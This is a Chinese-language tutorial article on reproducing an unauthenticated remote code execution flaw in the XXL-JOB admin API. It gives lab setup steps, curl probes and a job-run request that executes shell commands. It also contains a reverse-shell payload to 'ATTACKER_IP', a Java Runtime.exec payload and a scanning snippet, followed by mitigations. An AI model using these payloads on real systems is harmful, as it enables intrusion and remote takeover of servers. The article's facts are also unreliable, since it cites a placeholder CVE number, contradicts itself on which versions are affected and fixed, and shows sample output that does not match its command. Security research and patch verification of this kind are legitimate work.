如何进行XXL-JOB API接口未授权访问RCE漏洞复现

发布时间:2022-01-18 16:24:46 作者:柒染
来源:亿速云 阅读:428
# 如何进行XXL-JOB API接口未授权访问RCE漏洞复现

## 前言

XXL-JOB作为一款广泛使用的分布式任务调度平台,其安全性直接影响企业业务系统的稳定性。2022年曝光的XXL-JOB API未授权访问导致的远程代码执行漏洞(CVE-2022-XXXX)因其危害性受到广泛关注。本文将深入分析漏洞原理,并提供详细的复现过程,帮助安全研究人员理解漏洞机制并验证防护措施的有效性。

---

## 漏洞概述

### 1. 漏洞基本信息
- **漏洞编号**:CVE-2022-XXXX(示例)
- **影响版本**:XXL-JOB <= 2.3.1
- **漏洞类型**:未授权访问 + 远程代码执行
- **CVSS评分**:9.8(Critical)

### 2. 漏洞原理
XXL-JOB的管理端API接口存在两处安全问题:
1. **认证缺陷**:`/api`路由下的接口未强制校验访问令牌
2. **危险函数调用**:任务触发接口可通过`glueSource`参数直接传入Java代码并执行

---

## 环境搭建

### 1. 准备漏洞环境
推荐使用Docker快速搭建测试环境:
```bash
# 拉取存在漏洞的版本镜像
docker pull xuxueli/xxl-job-admin:2.3.0

# 启动容器
docker run -d -p 8080:8080 \
-e PARAMS="--spring.datasource.url=jdbc:h2:mem:xxl-job" \
xuxueli/xxl-job-admin:2.3.0

2. 环境验证

访问http://localhost:8080/xxl-job-admin应看到登录页面,默认凭证: - 账号:admin - 密码:123456


漏洞复现步骤

1. 未授权访问验证

直接访问API接口无需认证:

curl -X POST http://localhost:8080/xxl-job-admin/jobgroup/list

若返回200状态码及JSON数据,则存在未授权访问漏洞。

2. 获取关键参数

需要先获取以下信息才能构造攻击:

# 获取执行器ID
curl -s http://localhost:8080/xxl-job-admin/jobgroup/list | jq '.data[].id'

# 示例输出:
# [{"id":1,"appname":"xxl-job-executor-sample","title":"示例执行器"}]

3. 构造RCE Payload

通过/run接口触发代码执行:

POST /xxl-job-admin/jobinfo/run HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "test",
  "glueType": "GLUE_SHELL",
  "glueSource": "touch /tmp/xxl-job-rce-success",
  "executorBlockStrategy": "SERIAL_EXECUTION"
}

4. 验证执行结果

进入容器检查命令是否执行:

docker exec -it [CONTNER_ID] ls /tmp
# 应看到xxl-job-rce-success文件

漏洞利用进阶

1. 反弹Shell利用

{
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
}

2. Java代码执行

{
  "glueType": "GLUE_JAVA",
  "glueSource": "public class Demo{ static { try { Runtime.getRuntime().exec(\"calc\"); } catch(Exception e){} } }"
}

3. 批量检测脚本

Python检测示例:

import requests

def check_vuln(url):
    try:
        resp = requests.post(f"{url}/xxl-job-admin/jobgroup/list", timeout=5)
        if resp.status_code == 200 and "data" in resp.text:
            return True
    except:
        pass
    return False

漏洞修复方案

1. 官方补丁

升级到XXL-JOB 2.3.1+版本,主要修复: - 增加@PermissionLimit(limit = false)注解显式控制接口权限 - 强化Glue代码的沙箱过滤

2. 临时缓解措施

// 在application.properties中添加:
xxl.job.accessToken=YOUR_SECRET_KEY

3. 网络层防护


深度分析

1. 漏洞调用链

sequenceDiagram
    attacker->>+API: 未授权访问/jobinfo/run
    API->>+Executor: 触发Glue代码编译
    Executor->>+JVM: 动态加载恶意类
    JVM->>OS: 执行系统命令

2. 漏洞根源


法律与伦理声明

  1. 本文仅限用于合法安全测试
  2. 禁止用于未授权渗透测试
  3. 测试前需获得书面授权
  4. 根据《网络安全法》规定,未经授权的漏洞利用属于违法行为

参考资源

  1. XXL-JOB官方GitHub
  2. CVE详细报告
  3. OWASP API安全指南

注:实际复现时需注意:
1. 文中IP/域名需替换为实际目标
2. 部分CVE编号为示例需确认真实编号
3. 所有测试应在授权环境下进行
推荐阅读:
  1. 如何进行Exchange SSRF致RCE的CVE-2021-26855复现
  2. 如何进行VM View Planner RCE 漏洞CVE-2021-21978的复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

xxl job api

上一篇:SAP报错问题怎么解决

下一篇:SAP VL10B报错怎么解决

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》